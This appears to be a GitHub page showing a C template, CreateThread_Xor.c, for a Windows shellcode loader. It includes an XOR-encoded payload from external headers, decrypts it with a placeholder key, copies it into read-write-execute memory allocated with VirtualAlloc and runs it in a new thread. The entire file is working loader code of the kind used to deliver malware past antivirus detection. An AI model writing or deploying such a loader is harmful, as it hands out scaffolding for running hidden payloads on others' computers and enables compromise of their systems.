-
Notifications
You must be signed in to change notification settings - Fork 7
/
CreateThread_Xor.c
53 lines (39 loc) · 1.24 KB
/
CreateThread_Xor.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include "Shellcode.h"
/*
Externally defined shellcode variables:
{
unsigned char shellcode[];
unsigned int shellcode_size;
}
*/
#include "Xor.h"
/*
Externally defined xorShellcode function:
{
void xorShellcode(unsigned char *shellcode, unsigned int shellcode_size, unsigned char key);
}
*/
#include <windows.h>
int main( int argc, char * argv[] ) {
/* Allocate memory for shellcode */
LPVOID mem = VirtualAlloc( NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if ( mem == NULL ) {
return 1;
}
/* Decrypt shellcode */
xorShellcode( shellcode, shellcode_size, "${KEY}" );
/* Copy shellcode into allocated memory */
memcpy( mem, shellcode, shellcode_size );
/* Create thread to execute shellcode */
HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL );
if ( hThread == NULL ) {
/* Free allocated memory if cannot create thread for whatever */
VirtualFree( mem, 0, MEM_RELEASE );
return 1;
}
WaitForSingleObject( hThread, INFINITE );
/* Peacefully exit now that the thread has finished, and clean up dangling handles. */
CloseHandle( hThread );
VirtualFree( mem, 0, MEM_RELEASE );
return 0;
}